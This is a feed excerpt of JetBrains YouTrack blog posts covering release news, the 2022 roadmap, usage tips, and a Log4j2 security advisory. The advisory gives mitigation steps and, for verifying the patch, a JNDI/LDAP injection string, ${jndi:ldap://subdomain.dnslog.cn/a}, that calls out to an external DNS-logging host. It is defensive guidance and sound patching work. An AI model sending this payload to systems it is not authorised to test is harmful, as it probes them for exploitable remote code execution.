If you use YouTrack InCloud, your instance will automatically be upgraded to YouTrack 2022.1 in accordance with our Maintenance Calendar. If you have an active Standalone subscription, you can download YouTrack 2022.1 today. If you don’t already have a license, you can use the free version for up to ten users to try out the tool for yourself before you commit! For more information about the licensing options available for YouTrack, please visit our Buy page.

We truly appreciate all your feedback, so please share it with us in the comments section below. Please get in touch with our support if you have any questions – we’re always here to help!

Your YouTrack team

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/ https://blog.jetbrains.com/ru/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/ https://blog.jetbrains.com/pt-br/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/ https://blog.jetbrains.com/ko/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/ https://blog.jetbrains.com/ja/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/ https://blog.jetbrains.com/fr/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/ https://blog.jetbrains.com/es/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/ https://blog.jetbrains.com/de/youtrack/2022/02/youtrack-now-with-interactive-gantt-charts/
YouTrack Roadmap 2022 https://blog.jetbrains.com/youtrack/2022/01/youtrack-roadmap-2022/ Wed, 26 Jan 2022 21:37:21 +0000 https://blog.jetbrains.com/wp-content/uploads/2022/01/Blog_Featured_image_1280x600-3.png https://blog.jetbrains.com/?post_type=youtrack&p=221004 Here’s a roundup of our plans for YouTrack in 2022 and our long-term goals for the future. Our development roadmap is largely shaped by your feedback and feature requests, so please read, comment, share with your colleagues, and let us know what your team wants from YouTrack this year.

Our product commitment and aspirations

The YouTrack user base is growing rapidly, with a 34% increase in new adoption since December 2020. We attribute a large part of this growth to our ongoing investment in developing YouTrack to be more universal by making it easier for non-technical teams to use for project and task management.

Our long-term plan is to keep developing YouTrack to appeal to a broader range of industries and a wider audience of teams and users while maintaining and building on the core features and value that our existing customers rely upon.

We believe that you should be able to choose where your applications and data are hosted, and as such, we remain committed to our promise that YouTrack will continue to be available for standalone installation. We continue to develop YouTrack InCloud and Standalone in tandem and ensure that you are able to migrate freely between cloud and on-premises hosting.

What we’re working on in 2022

Interactive Gantt chart

We’re working on an interactive Gantt chart that will allow you to edit tasks, ordering, dependencies, and estimations directly on the timeline. The existing static Gantt chart report will remain.

Workflow Constructor

We’re adding state-machine rules to the Workflow Constructor. This will greatly increase the scope and capabilities of script-free automation, allowing you to define process flowcharts where you can place conditions and trigger actions on transitions between issue states.

Knowledge Base

Our plans for Knowledge Base this year include sorting options for the article tree, collaboration improvements, and enhanced media embedding. Notifications about Knowledge Base activity such as @mentions, comments, and replies will be delivered to the YouTrack Notification Center.

Agile boards

Our extensive plans for Agile boards include simpler configuration, improvements for working with backlogs, and card customization.

Timesheets for teams and groups

We’re adding time tracking for teams and ad-hoc groups of users in Timesheets.

YouTrack Mobile

We plan to localize the YouTrack Mobile app into all the languages available in the YouTrack interface. We also intend to add an offline mode and to-do lists, and make improvements to the notification center.

Helpdesk

The YouTrack Mailbox integration is widely used to provide email-based customer support.
We’re now working on a full-fledged helpdesk solution that will include licensing schemes for agents and customers, an embeddable support form for customers, and tools to streamline typical requests.

YouTrack Lite and Classic

YouTrack Lite will display VCS changes in issues. We will continue to make improvements to the overall user experience in both Lite and Classic, with more shared features and more customization options.

Text recognition

Instantly grab text from attached images, such as screenshots of system information windows.

Inline image editing

Edit images inline in issues, articles, and comments.

Custom fields

We’ll be introducing dependencies between custom fields and simplifying custom field administration.

LaTeX notation

We’re going to add support for LaTeX mathematical notation to the rich text editor.

History Browser report

The History Browser report lets you see the volume of issues that matched a search query over time and lets you drill down to view search results and individual issues as they appeared on a specific day in the past.

Interface localizations

The next YouTrack localizations will be Italian and Ukrainian, adding to the 9 official localizations already available. There are also several unofficial localizations supported by community contributors and curated by JetBrains. Localization is an ongoing initiative and we will continue to add official support for more languages based on user demographics and demand.

Integration with JetBrains Space

We’re continuing to expand our integration with the JetBrains Space VCS. We’re adding options to migrate and continuously import Space projects, issues, and users to YouTrack. We’re also adding the option to deliver YouTrack notifications to Space.

Telegram integration

Receive notifications about YouTrack issues in Telegram.

Zapier integration

We’re working on a native Zapier interface that will open up vast opportunities to automate your business processes by integrating YouTrack with third-party products and services.

Broad goals for 2022 and beyond

Our long-term plan for YouTrack is to continue expanding its flexibility, power, and scalability while simplifying and streamlining the user experience for administrators and regular users.

Simpler administration

We will continue to streamline and simplify the administration of teams, users, and other aspects of YouTrack.

More pluggability

We want to make YouTrack even more flexible and customizable and encourage third-party developers to create and share plugins on the JetBrains Marketplace. We will achieve this by adding more extension points and improving the overall experience of creating and working with plugins.

Smoother onboarding

We will gradually introduce global UX/UI changes to streamline onboarding for the increasing numbers of first-time customers migrating to YouTrack from other project management tools.

More planning tools

In addition to the ongoing development of our Gantt chart functionality, we are beginning to research other planning approaches that could be used in YouTrack, such as dedicated planning boards and roadmapping tools.

YouTrack for large organizations

We continue to investigate ways for large organizations to separate a single YouTrack into discrete “sub-organizations”, such as departments or subsidiaries that should not see each other’s data but should be on the same YouTrack installation with central reporting and administration and covered by a single license.

Cross-team, cross-project enhancements

As more teams adopt YouTrack to manage and track cross-team initiatives and organization-wide project portfolios, we will continue to add and enhance features to improve performance and usability in these scenarios.

Multi-node installations

Multi-node architecture will provide enhanced performance and availability at scale.

Subscribe to our blog and follow us on Twitter for updates on all our latest news, and feel free to ask questions and leave feedback in the comments below.

Your YouTrack team

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2022/01/youtrack-roadmap-2022/ https://blog.jetbrains.com/tr/youtrack/2022/01/youtrack-roadmap-2022/ https://blog.jetbrains.com/ru/youtrack/2022/01/youtrack-roadmap-2022/ https://blog.jetbrains.com/pt-br/youtrack/2022/01/youtrack-roadmap-2022/ https://blog.jetbrains.com/ko/youtrack/2022/01/youtrack-roadmap-2022/ https://blog.jetbrains.com/ja/youtrack/2022/01/youtrack-roadmap-2022/ https://blog.jetbrains.com/fr/youtrack/2022/01/youtrack-roadmap-2022/ https://blog.jetbrains.com/es/youtrack/2022/01/youtrack-roadmap-2022/ https://blog.jetbrains.com/de/youtrack/2022/01/youtrack-roadmap-2022/
YouTrack: 10 Tips for Your Pleasure and Profit https://blog.jetbrains.com/youtrack/2021/12/youtrack-10-tips-for-your-pleasure-and-profit/ Wed, 15 Dec 2021 11:51:26 +0000 https://blog.jetbrains.com/wp-content/uploads/2021/12/BLOG_DSGN-12898_Banner-for-10-YouTrack-tricks-to-keep-you-warm-this-winter-1.png https://blog.jetbrains.com/?post_type=youtrack&p=213088

Greetings, YouTrack aficionados! We already tweeted about 10 YouTrack features that you might not have seen or used before. Tweets are great, but we know how much nicer it can be to have all of your reading material in one place. That’s why we decided to compile all those tips into a blog post for easier reading. Enjoy!

1. Similar issues

While you’re entering the summary for a new issue, YouTrack searches for issues with similar summaries and displays them in a list as you type. This helps you avoid creating duplicates and helps you find existing issues that you might want to link your new issue to.


2. Knowledge Base table of contents

This fall we added a much-requested feature – tables of contents for Knowledge Base articles. The table of contents is assembled from the section headers in articles. You can copy and share links to article sections from their table of contents entries.

3. Embed content from Google apps

You can embed content from Google Docs, Sheets, Slides, Calendars, and Forms, and edit it right in YouTrack. Embedding works in issues, Knowledge Base articles, and comments. You can also embed and play YouTube videos.

Bonus for designers: you can embed Figma designs!

4. Issue drafts

YouTrack automatically saves your input when you’re creating a new task and saves it as a draft. All of your unfinished masterpieces are stored in the Drafts section of your quick access menu. 

Bonus for everyone: template links! In YouTrack Classic you can generate a template link when you’re editing an issue. The link lets you create a new issue with all the same field values that were in the original issue at the moment you generated the link. You can also use the template link format as an easy way to create issues from other applications, e.g. to report bugs.

5. Update issues using commands in VCS commits

VCS integrations let you use commands to update issues when you commit changes to a code repository in a version control system. You don’t even need to open YouTrack to update your issues!

6. Save time with keyboard shortcuts

YouTrack Classic is packed with keyboard shortcuts that let you do almost everything without touching your mouse. 

For example:

  • While viewing a task you can use Ctrl + K (or ⌘ + K) to search for another issue. 
  • Press Ctrl + Alt + Shift + C (or Option + Shift + ⌘ + C) to copy the issue ID and summary of the current issue to the clipboard.
  • Use Ctrl + Alt + any letter key (or Control + Option + any letter key) to open the Apply Command dialog.

If you spend a lot of time in YouTrack, it’s definitely worth learning shortcuts for the operations you use most, as they can really save you time!

7. Find anything with advanced search queries

YouTrack’s powerful search language can help you find issues quickly, even if you don’t have much information about them. For example, if you only remember that the task you’re looking for was created within the last 2 weeks and your teammate Shirley Knott commented on it, you can use this query to narrow down your search:

created: {minus 14d}..* commented: shirley.knott 

Learn more about advanced YouTrack search queries and see how easy it is to find issues in YouTrack!

8. Organize your work with personal Agile boards

You can create your own personal Agile boards where you can manage your tasks and organize them exactly the way you want. You can also restrict the visibility of your board so that only you can see it, meaning it won’t add clutter to the boards list in YouTrack. 

Adding tasks to your personal boards won’t generate any notifications for other users, even if they are subscribed to updates for those tasks. If you make your board visible only to yourself, it won’t show up in the list of boards an issue is included in, so you can be sure you won’t create any confusing distractions for your teammates. 

Learn more about how to set up a personal Agile board in YouTrack.

9. Find anything without writing search queries

YouTrack Lite lets you hide the query field and use drop-down filters to search for issues. You can search using as many fields as you like and sort the results table by clicking on column headers.

10. Get even more tips and find more features

You don’t need to wait for us to tweet a bunch of tips or write a blog post – there are lots of other features in YouTrack, and enabling Tips for New Users in the Help menu can help you find them and learn how they work! 

]]>
YouTrack update regarding Log4j2 vulnerability https://blog.jetbrains.com/youtrack/2021/12/youtrack-update-regarding-log4j2-vulnerability/ Tue, 14 Dec 2021 11:48:11 +0000 https://blog.jetbrains.com/wp-content/uploads/2021/12/English-copy.png https://blog.jetbrains.com/?post_type=youtrack&p=212827 Update from December 29, 2021, 16:00 (GMT +0).  The latest YouTrack and Hub versions (2021.4.36872 and 2021.1.14127 respectively) released on December 21st include log4j 2.17. To the best of our knowledge, these YouTrack and Hub versions are not affected by any known log4j-related vulnerabilities discovered to date (CVE-2021-44228, CVE-2021-45046, CVE-2021-44832 and CVE-2021-45105). Feel free to download and install these YouTrack and Hub versions.
We will no longer be updating this blog post. Any new information relating to the log4j CVEs will be published in our quarterly security bulletin. You can subscribe to the security bulletin here.

Update from December 21, 2021, 23:00 (GMT +0).  To the best of our knowledge, the newly discovered CVE-2021-45105 does not affect YouTrack or Hub.
To address another vulnerability, CVE-2021-45046, we released YouTrack 2021.4.36179 and Hub 2021.1.14108 on December 16, 2021. Please download and install these YouTrack and Hub versions. Follow the issue for more details.


Update from December 15, 2021, 21:00 (GMT +0).  We’ve found a workaround solution that lets customers without upgrade subscriptions secure their installations. Please refer to the section Securing YouTrack and Hub without upgrading below for details.
For further updates and community discussion on the topic, please follow this issue.


This announcement is about a security vulnerability that was found in a third-party library used in JetBrains YouTrack. 

YouTrack InCloud customers are already safe. We have analyzed access logs and found that no attempts were made to exploit the vulnerability before we eliminated it from YouTrack InCloud.

Administrators of some YouTrack Standalone installations must take further action to secure their instances.

Please read this announcement for a full update on the current situation and immediate action that you must take if you run a YouTrack Standalone installation.


What happened

On December 9, 2021, a security vulnerability was found in a third-party library used in JetBrains YouTrack. This security vulnerability affects YouTrack instances from version 2018.1 to version 2021.4.35732. To secure your YouTrack Standalone installation, please proceed with the steps below.

Actions for YouTrack Standalone administrators

On Friday, December 10, 2021, we sent an email to administrators of all potentially affected YouTrack Standalone instances. The email contained instructions to restart YouTrack using a parameter to disable the affected library.

It has since come to our attention that this action alone may not have been sufficient to secure some instances.

If you use YouTrack Standalone 2017.4 or earlier, you do not need to take any further action.

If you use YouTrack Standalone 2018.1 or later, please take the additional steps below to secure your YouTrack.

What actions you should take

  • If you use YouTrack Standalone 2017.4 or earlier or 2021.4.35970 or later, your installation is already safe and no additional actions are required from your side.

  • If you use YouTrack Standalone from 2018.1 to 2021.4.35732 and you have an external Hub installed, please secure your installation immediately by: 
    • upgrading YouTrack to version 2021.4.35970, and
    • upgrading Hub to version 2021.1.14080.  

      Alternatively, you can:
    • restart your YouTrack with the parameter `-Dlog4j2.formatMsgNoLookups=true`. A guide on how to apply a parameter to YouTrack can be found here (an example for Docker can be found here), and
    • restart your Hub with the parameter `-Dlog4j2.formatMsgNoLookups=true`. A guide on how to apply a parameter to Hub can be found here (an example for Docker can be found here).

      Please refer to the corresponding Hub vulnerability announcement for further details on securing your Hub installation.

  • If you use a YouTrack Standalone version from 2018.1 to 2021.2 without an external Hub, the optimal way to secure your installation is to upgrade to the latest YouTrack version 2021.4.35970

    If your upgrade subscription covers an upgrade to at least 2021.3, you can
    • upgrade to version 2021.3, and
    • restart your YouTrack with the parameter `-Dlog4j2.formatMsgNoLookups=true`. A guide on how to apply a parameter to YouTrack can be found here (an example for Docker can be found here).

  • If you use a YouTrack Standalone version from 2021.3 to 2021.4.35732 without an external Hub, please secure your installation immediately by: 
    • upgrading YouTrack to version 2021.4.35970

      Alternatively, you can:
    • restart your YouTrack with the parameter `-Dlog4j2.formatMsgNoLookups=true`. A guide on how to apply a parameter to YouTrack can be found here (an example for Docker can be found here).

Update from December 15, 2021, 21:00 (GMT +0).

Securing YouTrack and Hub without upgrading

We’ve found a solution that lets you secure any YouTrack or Hub installation without upgrading. Unfortunately, we can’t provide you with backports since it would be impossible to deliver them in a timely manner, hence the workaround. 

This workaround was checked by our QA team and should eliminate both CVE-2021-44228 and CVE-2021-45046 vulnerabilities. It requires some administration skills so please contact your system administrator to apply the patch. 

Full instructions are below.

YouTrack

Prerequisites

  1. This workaround secures any version of YouTrack installation
  2. You will need your ‘conf’ folder. If you can’t locate the installation folder, check `<your YouTrack address>/admin/statistics’ → Installation Folder. The default `conf` folder locations are:
    – ZIP: `folder_where_you_extracted_ZIP_archive\conf`
    – JAR: `${user.home}/teamsysdata/conf`
    – MSI: `%programdata%\JetBrains\YouTrack\conf`
    – Docker: /opt/youtrack/conf or conf location that is specified in the command you use to start YouTrack in Docker
  3. You will need the youtrack.jvmoptions file. It is located inside the `conf` folder. Here is a guide on how to edit the youtrack.jvmoptions file for each distribution type: https://www.jetbrains.com/help/youtrack/standalone/Configure-JVM-Options.html#set-jvm-options-manually 

Steps

  1. Stop your YouTrack
  2. Download the file and add it to the conf folder (nojndi.jar). Make sure this file has the same permissions as other files in this folder
  3. For JAR/ZIP/MSI: add the line `-javaagent:conf/nojndi.jar` to the youtrack.jvmoptions file. For Docker: add the line `-javaagent:/opt/youtrack/conf/nojndi.jar` to the youtrack.jvmoptions file
  4. Start your YouTrack

The `nojndi.jar` file mentioned above is based on the NCC Group publications and is distributed under the Apache 2 license.

How to verify 

You can check that the workaround was applied successfully and your installation is now secure by doing the following:

  1.  Go to http://dnslog.cn/ and click “Get SubDomain”. You will get a generated subdomain, for example `rigpz8.dnslog.cn`. 
  2. In your browser, make a request to YouTrack with /api/${jndi:ldap://subdomain.dnslog.cn/a} in the URI, where `subdomain` should be replaced with the subdomain that was generated for you in the previous step (in this case `rigpz8`).
    Example: `https://<your YouTrack address>/api/config/$%7Bjndi:ldap://rigpz8.dnslog.cn/a%7D`
  3. Go back to http://dnslog.cn/ and click “Refresh record”.
  4. If you don’t see new requests that means that the patch has been applied successfully.

You can also capture requests by other means (custom DNS server, Wireshark, etc).

If you need assistance from our support engineers, please note that we are experiencing a high volume of requests at the moment. If you have an expired subscription, please expect significant delays in our reply. 

For further updates and community discussion on the instruction above, please follow the issue.

External Hub

Prerequisites

  1. This workaround secures any version of Hub installation.
  2. You will need your ‘conf’ folder. The default `conf` folder locations are:
    – ZIP: “folder_where_you_extracted_ZIP_archive\conf“
    – MSI:`%programdata%\JetBrains\Hub\conf`
    – Docker: `/opt/hub/conf` or conf location that is specified in the command you use to start Hub in Docker.
  3. You will need the hub.jvmoptions file. It is located inside the `conf` folder. Here is a guide on how to edit hub.jvmoptions file for each distribution type: https://www.jetbrains.com/help/hub/Configure-JVM-Options.html#modify-jvm-options-in-file

Steps

  1. Stop your Hub
  2. Download the file and add it to the conf folder (nojndi.jar). Make sure this file has the same permissions as other files in this folder
  3. For ZIP/MSI: add the line `-javaagent:conf/nojndi.jar` to the hub.jvmoptions file;
    For Docker: add the line `-javaagent:/opt/hub/conf/nojndi.jar` to the hub.jvmoptions file
  4. Start your Hub

The `nojndi.jar` file mentioned above is based on the NCC Group publications and is distributed under the Apache 2 license.

How to verify 

You can check that the workaround was applied successfully and your installation is now secure by doing the following:

  1. Go to http://dnslog.cn/ and click “Get SubDomain”. YAs a result, you will get a generated subdomain, for example `rigpz8.dnslog.cn`.
  2. Go to your Hub -> Settings -> Groups, create a test new group with any name
  3. Navigate to the group settings and insert ${jndi:ldap://subdomain.dnslog.cn/a} into the group description field, where `subdomain` should be replaced with the subdomain that was generated for you in the previous step (in this case `rigpz8`). Click “Save”.

4. Go back to http://dnslog.cn/ and click “Refresh record”.

5. If you don’t see new requests that means that the patch has been applied successfully.

You can also capture requests by other means (custom DNS server, Wireshark, etc).

If you need assistance from our support engineers, please note that we are experiencing a high volume of requests at the moment. If you have an expired subscription, please expect significant delays in our reply. 


For further updates and community discussion on the instruction above, please follow the issue.

End of update.

What actions we’ve taken

  • We immediately took all necessary steps to secure YouTrack InCloud instances on December 10, 2021, and applied a permanent fix to protect against the vulnerability. This required unscheduled maintenance downtime that may have coincided with your business hours and interrupted your work. We apologize for any inconvenience caused. In such situations, your security is our first priority.

  • We released a security update for YouTrack (version 2021.4.35970) on December 14, 2021. Download it here and install it.
  • We released a security update for Hub (version 2021.1.14080) on December 13, 2021. Download it here and install it.   

If you need any further assistance, please contact our support or simply comment on this blog post.

Your JetBrains YouTrack team

]]>
YouTrack Now With Workflow Constructor https://blog.jetbrains.com/youtrack/2021/11/youtrack-now-with-workflow-constructor/ Tue, 02 Nov 2021 13:45:18 +0000 https://blog.jetbrains.com/wp-content/uploads/2021/11/en-1.png https://blog.jetbrains.com/?post_type=youtrack&p=193393 YouTrack 2021.4 makes automation easy with the new Workflow Constructor, a drag-and-drop visual editor that lets you create workflows without writing a single line of code. Other updates include user access management improvements, new Mailbox Integration features, a new domain for YouTrack InCloud users, and the ability to embed Figma designs and Google calendars in tasks, comments, and articles.

Workflows in a nutshell

Workflows are automation scripts that can update, create, and delete issues based on rules that you define. They can limit the changes that users can make to issues, and they can carry out additional actions like displaying alerts or sending notifications. Check out this blog post for more details on the basic concepts.

In earlier versions of YouTrack, you could only create or edit workflows if you had a good understanding of JavaScript. This was great while our users were mostly software developers, but now that we have a rapidly growing non-technical audience we decided to introduce a visual editor – the Workflow Constructor.

Workflow Constructor

With the new visual Workflow Constructor, even non-technical team members can easily set up their own workflows to automate repetitive tasks and enforce established processes.

The constructor lets you create workflows with rules that are triggered in one of three ways: when an issue is updated, at specified times, or when an action is applied. Every workflow rule consists of prerequisites (conditions that must be met in order for the workflow to run) and actions that the workflow will carry out.

The Workflow Constructor includes a selection of prerequisites and actions that cover most of the typical use cases. Let us know if there are any that are missing – we’re eager to hear your feedback!

Example workflow

To give you an idea of what you can do with the new Workflow Constructor, here’s a simple “out of the office” workflow to reassign issues that are assigned to someone who’s unavailable between certain dates.

  1. Drag the “Issue is created within a specific time frame” condition onto the Prerequisites canvas and enter the dates when the person will be unavailable.
    Next, add a “Field matches specified criteria” condition, set the Field to “Assignee” and Mode to “is”, and in the Value field specify the person who is unavailable.
  2. Now drag the “Update the value in a field” action to the Actions canvas and set it to update the Assignee field to reassign these issues to another user.
  3. You can also notify the creator of the issue about the reason for reassigning their issue. You could add a comment to the issue, show a notification message, send an email, or do all of the above, just to be sure!

Our documentation contains everything you need to know to get started with the Workflow Constructor.

New workflow debugger

We’ve added a workflow debugger to the YouTrack IDE plugin to help you troubleshoot and fix errors in Workflow Constructor and JavaScript workflows. The debugger lets you pause the execution of workflows and step through them to examine the data contained in issue fields and check whether you’ve expressed conditions correctly. 

Table of contents in Knowledge Base articles

Knowledge Base articles now display a navigable table of contents that is automatically generated from headings in the article text. You can choose to display or hide the table of contents using a toggle button at the top right-hand corner of each article.

Embed Figma designs and Google calendars

You can now embed Figma designs and fully interactive Google calendars in issues, articles, and comments. Just paste the link to a Figma design or the publicly shareable URL of a Google calendar into the Embed Link field:

The publicly shareable URL for a Google calendar can be found in the gearwheel menu | Settings | Public URL to this calendar. Check out the documentation for more information about embedding content from external sources.

The embedded content will appear when you save your issue or article or publish your comment.

New youtrack.cloud domain for YouTrack InCloud

We’ve introduced a new domain, youtrack.cloud, for all newly registered YouTrack InCloud instances. Existing InCloud customers with the old yourcompany.myjetbrains.com/youtrack address format can migrate to yourcompany.youtrack.cloud by following these instructions. Instance names are unique across both domains, so nobody else can register your instance name.

Updated Due Date Calendar widget for Dashboards

You can now drag and drop tasks on the Due Date Calendar widget to change their due dates.

Reports based on links between issues

You can now specify issue link types as axes in the Issues per two fields and Issues per arbitrary field reports. You can use this in the Issues per two fields report, for example, to create a report displaying issues sorted by the number of subtasks or dependent issues that are linked to them, with a color-coded chart that communicates the priority of each linked issue. This can help you identify and focus on issues that need extra attention.

Import from Zendesk and monday.com

We’ve added scripts to let you migrate or continuously import content from Zendesk and monday.com to YouTrack.

You can import tickets from Zendesk together with custom fields, comments, attachments, and users. The monday.com script imports boards as projects and items as tasks, together with fields, field history, votes, tags, comments, attachments, users, and teams.

Mailbox Integration enhancements 

YouTrack InCloud users can now create an instancename@youtrack.cloud email address to use with the YouTrack Mailbox Integration. In situations where you can’t have an IMAP connection, you can instead forward emails to your InCloud email address.

You can now add a customizable “Reply above this line” delimiter to email notifications. This helps the Mailbox Integration parse incoming email messages and identify the text of a user’s reply more reliably. You can configure the delimiter in Projects | Gearwheel menu | Settings | Notifications.

For the full technical details about this release, please refer to the Release Notes. To learn more about configuring the new features, visit the documentation.

If you use YouTrack InCloud, your instance will automatically be upgraded to YouTrack 2021.4 in accordance with our Maintenance Calendar. If you have an active Standalone subscription, you can download YouTrack 2021.4 today. If you don’t already have a license, you can use the free trial to try out the new version for yourself before you commit! For more information about the licensing options available for YouTrack, please visit our Buy page.

We truly appreciate all your feedback, so please share it with us in the comments section below. Please get in touch with our support if you have any questions – we’re always here to help!

Your YouTrack team

]]>
https://blog.jetbrains.com/zh-hans/youtrack/2021/11/youtrack-now-with-workflow-constructor/ https://blog.jetbrains.com/tr/youtrack/2021/11/youtrack-now-with-workflow-constructor/ https://blog.jetbrains.com/ru/youtrack/2021/11/youtrack-now-with-workflow-constructor/ https://blog.jetbrains.com/pt-br/youtrack/2021/11/youtrack-now-with-workflow-constructor/ https://blog.jetbrains.com/ko/youtrack/2021/11/youtrack-now-with-workflow-constructor/ https://blog.jetbrains.com/ja/youtrack/2021/11/youtrack-now-with-workflow-constructor/ https://blog.jetbrains.com/fr/youtrack/2021/11/youtrack-now-with-workflow-constructor/ https://blog.jetbrains.com/es/youtrack/2021/11/youtrack-now-with-workflow-constructor/ https://blog.jetbrains.com/de/youtrack/2021/11/youtrack-now-with-workflow-constructor/